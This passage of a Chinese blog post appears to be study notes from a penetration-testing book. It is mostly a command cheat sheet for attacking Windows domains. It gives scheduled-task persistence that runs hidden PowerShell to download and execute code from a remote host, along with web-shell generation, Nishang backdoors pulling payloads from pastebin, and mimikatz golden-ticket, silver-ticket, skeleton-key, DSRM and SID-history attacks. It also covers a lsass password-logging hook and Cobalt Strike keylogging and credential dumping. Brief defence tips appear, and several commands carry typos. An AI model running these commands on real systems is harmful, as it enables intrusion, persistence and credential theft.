set RegPath HKCU:Spftware\Microsoft\Windows\CurrentVersion\Run
execute
</code></pre>
<h4>计划任务后门</h4>
<ul>
<li>Metasploit 模拟计划任务后门</li>
</ul>
<pre><code class="">use exploit/multi/script/web_delivery

（1）用户登陆
schtacks /create /tn WindowsUpdate /tr "c:\windows\system32\powershell.exe -WindowsStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring('http://192.xxx.xxx.xxx/'")'" /sc onlogon /ru system

(2)系统启动
schtacks /create /tn WindowsUpdate /tr "c:\windows\system32\powershell.exe -WindowsStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring('http://192.xxx.xxx.xxx/'")'" /sc onstart /ru system

(3)系统空闲
schtacks /create /tn WindowsUpdate /tr "c:\windows\system32\powershell.exe -WindowsStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring('http://192.xxx.xxx.xxx/'")'" /sc onidle /i l
</code></pre>
<ul>
<li>PowerSploit模拟生成后门</li>
</ul>
<pre><code class="">https://github.com/PowerShellMafia/PowerSploit/blob/master/Persistence/Persistence.psm1

创建后门。空闲状态下执行
shuteer.ps1为要执行的payload
Import-Moudle ./Persistence.psm1
$ElevatedOptions = New-ElevatedPersistenceOption -ScheduledTask -OnIdle
$ UserOptions = New-UserPersistenceOption -ScheduledTask -OnIdle Add-Persistence -FilePath ./shuteer.ps1 -ElevatedPersistenceOption
$ElevatedOptions - UserPersistenceOption $UserOptions -Verbose
</code></pre>
<ul>
<li>Empire模拟后门</li>
</ul>
<pre><code class="">usemoudle persistence/elevated/schtasks
set DailyTime 16:17
set Listener test
execute
</code></pre>
<ul>
<li>meterpreter后门</li>
</ul>
<pre><code class="">Persistence
</code></pre>
<ul>
<li>Cymothoa后门</li>
</ul>
<pre><code class="">Cymothoa
</code></pre>
<ul>
<li>WMI后门（管理员）</li>
</ul>
<pre><code class="">Empire Invoke-WMl模块
powershell/persistence/elevated/wmi

检查目标主机情况：
Get-WMIObject -Namespace root\Subscription -Class CommandLine EventConsumer -Fifter "Name='Update'"

修复：
删除自动运行的恶意wmi条目
使用Get-WMIObject命令删除持久化相关组件
</code></pre>
<h3>WEB后门</h3>
<ul>
<li>Nishang</li>
</ul>
<pre><code class="">nishang\Antak-WebShell目录下
</code></pre>
<ul>
<li>Weevely</li>
</ul>
<pre><code class="">https://github.com/epinna/weevely3
</code></pre>
<pre><code class="">weevely 查看帮助
weevely &lt;URl&gt; &lt;password&gt; [cmd] 连接木马
weevely session &lt;path&gt;[cmd] 加载会话
weevely generate &lt;password&gt;&lt;path&gt; 生成后门代理

weevely http://xxx.xxx.xxx.xxx/test.php test

system_info 系统信息
net_scan扫描端口
help 查看命令
</code></pre>
<ul>
<li>webacoo后门</li>
</ul>
<pre><code class="">webacoo -h 查看帮助
webacoo -g -o /root/test.php 生成webshell

webacoo -t -u http://xxxtest/php
load  查看模块
</code></pre>
<ul>
<li>ASPX meterpreter</li>
</ul>
<pre><code class="">shell_reverse_tcp payload
</code></pre>
<ul>
<li>PHP meterpreter</li>
</ul>
<pre><code class="">php meterpreter payload
</code></pre>
<h3>域控制器权限持久化</h3>
<h4>DSRM域后门</h4>
<ul>
<li>DSRM</li>
</ul>
<pre><code class="">目录服务恢复模式
使用DSRM账号恢复
03不使用
08需要安装KB961320补丁
08以后不需要
</code></pre>
<ul>
<li>使用</li>
</ul>
<pre><code class="">mimikatz

获取krbtgt NTLM HASH
privilege::debug
lasdump::lsa /patch /name:krbtgt

获取DSRM账号的NTLM Hash
token:elevate
lsadump:sam

将DSRM账号和krbtgt的ntlm hash同步
NTDSUTIL
SET DSRM PASSWORD
SYNC FROM DOMAIN account krbtgt

查看是否同步成功
lsadump::sam

修改DSRM登陆方式
新建HKLM\System\CurrentControlSet\Control\Lsa\DsrmAdminLogonBehavior为2
使用powershell更改
New-ItemProperty "hkim:system\currentrolset\control\lsa\" -name "dsemadminlogonbehavior" -value 2 -propertyType DWORD

使用dsrmz账号通过网络远程登陆域控制器
privilege::debug
sekurlsa:pth /domain:DC /user:administrator /ntlm:53ebxxxx

dcysnc转储krbtgt ntlm hash
lsadump::dcsync /domain:pentest.com /dc:dc /user:krbtgt

防御：
检查注册表
修改dsrm账号
经常检测ID为4794的日志
</code></pre>
<ul>
<li>DerbyCON</li>
</ul>
<pre><code class="">比DSRM更为高级的一种方式，知道hash

Mimikatz “privilege::debug” “sekurlsa::pth /domain:ADSDC03 /user:Administrator /ntlm:7c08d63a2f48f045971bc2236ed3f3ac” exit
</code></pre>
<h4>SSP</h4>
<pre><code class="">https://syst1m.com/post/security-support-provider/
</code></pre>
<h4>SID History域后门</h4>
<ul>
<li>SID History</li>
</ul>
<pre><code class="">使A域中的syst1m用户的权限当syst1m用户迁移到B域中时还拥有原来的权限
</code></pre>
<ul>
<li>查看test用户的SID history属性</li>
</ul>
<pre><code class="">Import-Moudle activedirectory
Get-ADUser test -Properties sidhistory
</code></pre>
<ul>
<li>注入sid属性</li>
</ul>
<pre><code class="">privilege::debug
sid::add /sam:test /new:administrator
</code></pre>
<ul>
<li>再次查看sid history</li>
</ul>
<pre><code class="">Get-ADUser test -Properties sidhistory.memberof
</code></pre>
<ul>
<li>测试</li>
</ul>
<pre><code class="">dir \\dc\c$
</code></pre>
<ul>
<li>防御</li>
</ul>
<pre><code class="">查看域用户sid为500的用户
完成迁移后，对相同500检测
定期检查id为4765和4766的日志、ID为4765为sid history属性添加到用户的日志。4766为将sid history属性添加到用户失败的日志
</code></pre>
<h4>Golden Ticket(黄金票据)</h4>
<ul>
<li>环境</li>
</ul>
<pre><code class="">域控：192.168.100.205
域成员:192.168.100.146
</code></pre>
<ul>
<li>导出krbtgt的ntlm hash</li>
</ul>
<pre><code class="">lsadump::dcsync /domain:pentest.com /user:krbtgt
</code></pre>
<ul>
<li>获取基本信息</li>
</ul>
<pre><code class="">获取sid
wmic useraccount get name,sid

获取当前用户sid
whoami /user

查询域管理员账号
net group "domain admins" /domain

查询域名
ipconfig /all
</code></pre>
<ul>
<li>实验</li>
</ul>
<pre><code class="">清空票据
kerberos::purge

生成票据
kerberos:golden /admin:Administrator /domain:pentest.com /sid:域SID /krbtgt:ntml hash /ticket:Administrator.kiribi

注入内存
kerberos::ptt Administrator.kiribi

检索当前会话中的票据
kerberos::tgt

验证权限
cscript wmiexec.vbs /shell dc
</code></pre>
<h4>Silver Ticket(白银票据)</h4>
<ul>
<li>收集</li>
</ul>
<pre><code class="">域名
域SID
目标服务器的FQDN
可利用的服务
服务账号的NTLM Hash
需要伪造的用户名
</code></pre>
<ul>
<li>实验</li>
</ul>
<pre><code class="">获取服务账号ntlm hash
mimikatz log "privilege::debug" "sekurlsa::logonpasswords"

清除票据
klist purge

伪造白银票据
kerberos::golden /domain:pentest.com /sid:域SID /target:dc.pentest.com /serviceLcifs /rc4:ntlm hash /user:syst1m /ptt
</code></pre>
<ul>
<li>伪造LDAP 票据</li>
</ul>
<pre><code class=""><br /></code></pre>
<h4>Skeleton Key(万能密码)</h4>
<ul>
<li>使用域管账号密码连接</li>
</ul>
<pre><code class="">net use \\192.168.100.205\ipc$ "password" /user:pentest\administrator
</code></pre>
<ul>
<li>添加万能密码</li>
</ul>
<pre><code class="">privilege::debug
misc::skeleton 注入万能密码
</code></pre>
<ul>
<li>验证</li>
</ul>
<pre><code class="">删除原有ipc连接
net use
net usr \\dc\ipc$ /del /y

使用万能密码连接
net use \\dc\ipc$ "mimikatz" /user:administrator
</code></pre>
<ul>
<li>Empire 中的Skeleton key</li>
</ul>
<pre><code class="">interact 进入agent
usemoudle persistence/misc/skeleton key* 加载模块
execute 执行模块
</code></pre>
<h4>Hook PasswordChangeNotify</h4>
<ul>
<li>Hook PasswordChangeNotify</li>
</ul>
<pre><code class="">Hook PasswordChangeNotify作用是当用户修改密码后在系统中进行同步，密码符合要求的话，LSA会调用PasswordChangeNotify同步密码
</code></pre>
<ul>
<li>使用</li>
</ul>
<pre><code class="">Import-Moudle .\Invoke-ReflectivePEInjection.ps1

注入HookPasswordChange.dll到内存
Invoke-ReflectivePEInjection -PEPath HookPasswordChange.dll -procname lsass

当被修改密码查看
type c:\windows\Temp\passwords.txt
</code></pre>
<h3>Nishang下的脚本后门</h3>
<ul>
<li>HTTP-Backdoor脚本</li>
</ul>
<pre><code class="">可以下载和执行powershell脚本，接收第三方网站的执行，内存执行PowerShell脚本
</code></pre>
<pre><code class="">CheckURL 给出一个URL地址，如果存在我们MagicString中的值就去执行Payload - 下载运行我们的脚本
PayloadURL 这个参数给出我们需要下载的Powershell脚本的地址
Arguments 这个参数指定我们要执行的函数
StopString 这个参数也会去看是否存在我们CheckURL返回的字符串，如果存在就会停止执行

PS &gt; HTTP-Backdoor -CheckURL http://pastebin.com/raw.php?i=jqP2vJ3x -PayloadURL http://pastebin.com/raw.php?i=Zhyf8rwh -Arguments Get-Information -MagicString start123 -StopString stopthis
</code></pre>
<ul>
<li>Add-ScrnSaveBackdoor</li>
</ul>
<pre><code class="">可以帮助攻击者利用windows屏幕保护来安插一个隐藏后门
</code></pre>
<ul>
<li>Execute-OnTime</li>
</ul>
<pre><code class="">用于在目标机器上指定powershell 脚本的执行时间
</code></pre>
<ul>
<li>Invoke-ADSBackdoor</li>
</ul>
<pre><code class="">能够在NTFS数据流中留下一个永久性的后门,只有dir /a /r 才可以看到。

Invoke-ADSBackdoor -PayloadURL http://a.com/test.ps1
</code></pre>
<h2>Cobalt Strike</h2>
<ul>
<li>功能</li>
</ul>
<pre><code class=""> agscript 拓展应用脚本
 c2lint 用于检查profile错误和异常
 teamserver 团队服务器程序
 cobaltsteike.jar 客户端
 logs 日志
 update.jar 更新
 data 保存当前teamserver 一些数据
</code></pre>
<h3>Cs模块</h3>
<h4>Cobalt strike模块</h4>
<h4>后渗透模块</h4>
<ul>
<li>使用Elevate模块提升Beacon权限</li>
</ul>
<pre><code class="">右键-&gt;Acceess-&gt;Elevate

内置三个模块
（1）ms14-058 普通用户-&gt;sustem权限
（2）uac-dll bypassuac
（3）uac-token-duplication bypassuac

elevate uac-dll test
elevate uac-token-duplication test 
</code></pre>
<ul>
<li>Gold Ticket提升域管权限</li>
</ul>
<pre><code class="">access-&gt;Goldeb Ticket

查看用户所属的组
net user test /domain
</code></pre>
<ul>
<li>make_token模拟指定用户</li>
</ul>
<pre><code class="">access-&gt;Make_token
</code></pre>
<ul>
<li>Dump Hashes导出散列值</li>
</ul>
<pre><code class="">access-&gt;dump hashes
命令行：hashdump
</code></pre>
<ul>
<li>logonpasswords模块</li>
</ul>
<pre><code class="">access-&gt;Run mimikatz
命令行：logonpasswords

</code></pre>
<ul>
<li>查看导出的信息</li>
</ul>
<pre><code class="">View-&gt;Crededtials
</code></pre>
<ul>
<li>mimikatz模块</li>
</ul>
<pre><code class="">mimikatz [moudle:command] &lt;args&gt;
</code></pre>
<ul>
<li>PsExec模块</li>
</ul>
<pre><code class="">Login-&gt;Psexec
</code></pre>
<ul>
<li>SOCKS Server模块</li>
</ul>
<pre><code class="">Pivoting-&gt;SOCKS Server
</code></pre>
<p>###CS常用命令</p>
<ul>
<li>基本命令</li>
</ul>
<pre><code class="">help 帮助
sleep  设置休眠时间
</code></pre>
<ul>
<li>常用操作命令</li>
</ul>
<pre><code class="">getuid 哪个用户身份运行
getsystem 尝试获取system权限
getprivs 获取当前beacon包含的的所有权限

Explore-&gt;Browser Pivot
browserpivot [pid] [x86]x64]
browserpivot stop
劫持IE浏览器
</code></pre>
<ul>
<li>文件管理</li>
</ul>
<pre><code class="">图形化：
    Explore-&gt;File Browser

命令行：
    cd
    ls
    mkdir 
    delect
    mv
    execute 执行文件
</code></pre>
<ul>
<li>net view 命令</li>
</ul>
<pre><code class="">图形化：
    Explore-&gt;Net view
命令行：
    net view 显示域、资源列表
    net computer 查询域控制器上的计算机账户列表查找目标
    net dclist 列出域控制器
    net domain_trusts 列出域信息列表
    net group 枚举自身所在域控制器中的组
    net localgroup 枚举当前系统的本地组
    net logons 列出登陆的用户
    net session 列出会话
    net share 列出共享的目录和文件
    net user 列出用户
    net time 显示时间
</code></pre>
<ul>
<li>端口扫描</li>
</ul>
<pre><code class="">Explore-&gt;Port scan
</code></pre>
<ul>
<li>进程列表模块</li>
</ul>
<pre><code class="">Explore-&gt;Process List
命令行：
    ps
    kill [pid]
</code></pre>
<ul>
<li>screenshot</li>
</ul>
<pre><code class="">图形：
    Explore-&gt;screenshot
命令行：
     screenshot
     screenshots pid s 定时截图
</code></pre>
<ul>
<li>Log Keystrokes模块（键盘记录）</li>
</ul>
<pre><code class="">图形：
    Process List-&gt;Log KeyStrokes
命令行：
    keylogger [pid]

    view-&gt;Log Keystrokes 查看键盘记录
</code></pre>
<ul>
<li>Inject 命令(注入新进程)</li>
</ul>
<pre><code class="">图形化：
    Process List-&gt;Inject
Becaon:
    inject [pid]
</code></pre>
<ul>
<li>Steat Token模块</li>
</ul>
<pre><code class="">图形化：
    Process List-&gt;Steal token
Becaon:
    steat_token [pid]
</code></pre>
<ul>
<li>Note模块</li>
</ul>
<pre><code class="">图形化：
    session-&gt;note
Becaon:
    note [text]
</code></pre>
<ul>
<li>shell</li>
</ul>
<pre><code class="">shell command arg
</code></pre>
<ul>
<li>run</li>
</ul>
<pre><code class="">run 程序 参数
</code></pre>
<ul>
<li>execute（通常无回显）</li>
</ul>
<pre><code class="">execute 程序 参数
</code></pre>
<ul>
<li>powershell</li>
</ul>
<pre><code class="">powershell command arg
</code></pre>
<ul>
<li>powerpick(可以不通过调用powershell.exe 执行命令)</li>
</ul>
<pre><code class="">powerpick commandlet arg
</code></pre>
<ul>
<li>powershell-import (可以直接本地powershell脚本加载到目标系统的内存中)</li>
</ul>
<pre><code class="">powershell-import /root/desktop/powerview.ps1
powershell Get-HostIP
</code></pre>
<h3>Aggressor脚本</h3>
<h4>加载脚本</h4>
<ul>
<li>永久加载</li>
</ul>
<pre><code class="">load按钮-&gt; xxx.cna
</code></pre>
<ul>
<li>客户端加载</li>
</ul>
<pre><code class="">./agscript [host] [port][user][password][/path/to/script.cna]
</code></pre>
<blockquote><p>
  &gt; 笔记摘自：《内网安全攻防 渗透测试实战指南》
</p></blockquote>
]]></content:encoded>
					
		
		
			</item>
	</channel>
</rss>
